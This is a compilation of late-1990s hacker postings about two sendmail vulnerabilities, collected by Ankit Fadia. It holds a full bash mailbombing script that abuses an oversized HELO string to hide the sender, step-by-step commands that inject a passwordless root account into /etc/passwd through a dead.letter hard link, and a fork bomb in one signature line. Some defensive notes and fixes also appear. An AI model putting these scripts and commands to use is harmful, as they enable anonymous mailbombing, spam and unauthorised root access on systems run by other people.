Note: this won't get you root access(14) or get you into partsin a system you're 
not supposed to get into, but this is still pretty cool. In fact, it let's you 
hide your IP/hostname when faking mail!


[ http://www.rootshell.com/ ]

We've had this exploit since January but sat on it until everyone had a
change of implementing a stable version of sendmail 8.9.x.  (And because the
last thing I want to do is help the spammers)  It has now made its way to
Bugtraq so without further ado.

--Rootshell 5/28/98


Date:         Fri, 22 May 1998 12:36:54 +0300
From:         Valentin Pavlov <root@PNS.NETBG.COM>
Subject:      about sendmail 8.8.8 HELO hole

I assume this this is pretty old (10 Jan 1998) but still...

I found a pretty simple way to prevent the hiding of the sender's IP
address. The method to hide the IP address of the sender is described
bellow. Now, if we want to keep track of such exploit attempts, we have to
compile sendmail 8.8.8 with a PICKY_HELO_CHECK defined in conf.h:

#define PICKY_HELO_CHECK 1

This will force sendmail to syslog an authentication warning
(message with LOG_INFO level) and include an X-Authentication-Warning:
header in the message, saying what host tried to hide itself. Check out
the source (srvrsmpt.c, main.c). Also, LogLevel must be set to a value
higher than 3 (default is 9) in sendmail.cf.


regards,
capone

-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Make source, not [high]score
----------------------------
Valentin 'Val Capone' Pavlov
----------------------------
capone@netbg.com,  UKTC87203
-=-=-=-=-=-=-=-=-=-=-=-=-=-=


Now for the original message, describing the exploit:

-----Original Message-----
From: Micha3 Zalewski <lcamtuf@boss.staszic.waw.pl>
To: info@rootshell.com <info@rootshell.com>
Date: 10 stycznia 1998 12:28
Subject: Sendmail 8.8.8 (qmail?) HELO hole.


Here's a brief description of Sendmail (qmail) hole I found
recently:

When someone mailbombs you, or tries to send fakemail, spam, etc -
sendmail normally attachs sender's host name and it's address
to outgoing message:

--
>From spam@flooders.net Mon Jan  5 22:08:21 1998
Received: from spammer (marc@math.university.edu [150.129.84.5])
          by myhost.com (8.8.8/8.8.8) with SMTP id WAA00376
          for lcamtuf; Mon, 5 Jan 1998 22:07:54 +0100
Date: Mon, 5 Jan 1998 22:07:54 +0100
From: spam@flooders.net
Message-Id: <3.14159665@pi>

MAILBOOM!!!
--

That's perfect - now you know, who is responsible for that annoying
junk in your mailbox: "Received: from spammer (marc@math.university.edu
[150.129.84.5])". Nothing easier...
But I found a small hole, which allows user to hide it's personality,
and send mails anonymously. The only thing you should do is to
pass HELO string longer than approx. 1024 B - sender's location and
other very useful information will be cropped!!! Message
headers should become not interesting. Sometimes, sender
may become quite untraceable (but not always, if it's possible
to obtain logs from machine which has been used to sent):

--
>From spam@flooders.net Mon Jan  5 22:09:05 1998
Received: from xxxxxxxxxxxxxx... [a lot of 'x's] ...xxxx
Date: Mon, 5 Jan 1998 22:08:52 +0100
From: spam@flooders.net
Message-Id: <3.14159665@pi>

MAILBOOM!!! Now guess who am I...
--


Here's a simple example of Sendmail's HELO hole usage. Note, this
script has been written ONLY to show how easy may be sending
fakemails, mailbombs, with cooperation of Sendmail ;) Script is
very slow and restricted in many ways, but explains the problem
well (note, some of non-Berkeley daemons are also affected,
probably Qmail?):

-- EXPLOIT CODE --
#!/bin/bash
TMPDIR=/tmp/`whoami`
PLIK=$TMPDIR/.safe
TIMEOUT=2
LIMIT=10
MAX=20

echo
echo "SafeBomb 1.02b -- sendmail HELO hole usage example"
echo "Author: Michal Zalewski <lcamtuf@boss.staszic.waw.pl>"
echo

if [ "$4" = "" ]; then
  echo "USAGE: $0 msgfile address server sender"
  echo
  echo "  msgfile - file to send as a message body"
  echo "  address - address of lucky recipient"
  echo "  server  - outgoing smtp server w/sendmail"
  echo "  sender  - introduce yourself"
  echo
  echo "WARNING: For educational use ONLY. Mailbombing is illegal."
  echo "Think twice BEFORE you use this program in any way. Also,"
  echo "I've never said this program is 100% safe nor bug-free."
  echo
  sleep 1
  exit 0
fi

if [ ! -f $1 ]; then
  echo "Message file not found."
  echo
  exit 0
fi

echo -n "Preparing message..."
mkdir $TMPDIR &>/dev/null
chmod 700 $TMPDIR
echo "echo \"helo 
_safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb_
_safebomb__safebomb__safebomb__sa
febomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__sa
febomb__safebomb__safebomb__safebomb__safebomb__saf
ebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__saf
ebomb__safebomb__safebomb__safebomb__safebomb__safe
bomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safe
bomb__safebomb__safebomb__safebomb__safebomb__safeb
omb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safeb
omb__safebomb__safebomb__safebomb__safebomb__safebo
mb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebo
mb__safebomb__safebomb__safebomb__safebomb__safebom
b__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebom
b__safebomb__safebomb__safebomb__safebomb__safebomb
b__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebom
b__safebomb__safebomb__safebomb__safebomb__safebomb
__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb
__safebomb__safebomb__safebomb__safebomb__safebomb_
_safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb_\"" >$PLIK
echo "echo \"mail from: \\\"$4\\\"\"" >>$PLIK
echo "echo \"rcpt to: $2\"" >>$PLIK
echo "echo \"data\"" >>$PLIK
echo "cat <<__qniec__" >>$PLIK
cat $1 >>$PLIK
echo "__qniec__" >>$PLIK
echo "echo \".\"" >>$PLIK
echo "echo \"quit\"" >>$PLIK
echo "sleep $TIMEOUT" >>$PLIK
chmod +x $PLIK
echo "OK"

echo "Sending $1 (as $4) to $2 via $3 -- Ctrl+Z to abort."
SENT=0

while [ -f $1 ]; do
  $PLIK|telnet $3 25 &>/dev/null &
  let SENT=SENT+1
  echo -ne "Sent: $SENT\b\b\b\b\b\b\b\b\b\b\b\b\b"
  CONNECTED=`ps|grep -c "telnet $3"`
  if [ "$LIMIT" -le "$CONNECTED" ]; then
    while [ "$LIMIT" -le "$CONNECTED" ]; do
      sleep 1
    done
  fi
  if [ "$SENT" -ge "$MAX" ]; then
    echo "It's just an example, sorry."
    echo
    exit 0
  fi
done
-- EOF --

Suggested fix: insert additional length limit into HELO/EHLO
parameter scanning routine OR disable AllowBogusHELO (but it
may cause serious troubles). I have no 8.8.8 sources at the
time, so execuse me if it's unclear.

PS:

--
From: Gregory Neil Shapiro <sendmail+gshapiro@sendmail.org>

I was able to reproduce the header problem by lengthening the HELO string
in your script.

[...]

This will be fixed in sendmail 8.9.
--

_______________________________________________________________________
Micha3 Zalewski [tel 9690] | finger 4 PGP [lcamtuf@boss.staszic.waw.pl]
Iterowa‘ jest rzeczń ludzkń, wykonywa‘ rekursywnie - boskń [P. Deustch]
=--------- [ echo "while [ -f \$0 ]; do \$0 &;done" >_;. _ ] ---------=

Giant Bug in Sendmail 8.8.4 (taken from hackersclub.com)
***************************

                         sendmail8.8.4 exploit 
                           
"sendmail? 'tis the bugiest program" -phriend-

Ok, here's a brief and interesting explonation of this famous exploit. This
exploit uses sendmail version 8.8.4 and it requires that you have a shell
acount on the server in question. The exploit creates a link from
/etc/passwd to /var/tmp/dead.letter Very simple really. Here's how it
works, below are the exact commands as you have to type them (for the
technically challendged ones)

   * ln /etc/passwd /var/tmp/dead.letter
   * telnet target.host 25
   * mail from: nonexsistent@not.an.actual.host.com
   * rcpt to: nonexsistent@not.as.actual.host.com
   * data
   * lord::0:0:leet shit:/root:/bin/bash
   * .
   * quit

Kaboom, you're done, telnet to port 23 and log in as lord, no password
required. Thanx to a little bit of work we did, lord just happens to have
the same priviledges as root.

There are a couple of reasons why this might not work.

  1. /var and / are different partitions (as you already know, you can't
     make hard links between different partitions)
  2. There is a postmaster account on a machine or mail alias, in which
     case, your mail will end up there instead of being written to a
     etc/passwd
  3. /var/tmp doesn't exist or isn't publicly writable

Duncan Silver 
www.hackersclub.com/uu

Editor's notes: lord::0:0:leet shit:/root:/bin/bash is a line out of a Unix 
password file(33).

Courtesy: blacksun.box.sk
---------------------------------------------------------------------------
Compiled By: Ankit Fadia
             ankit@bol.net.in

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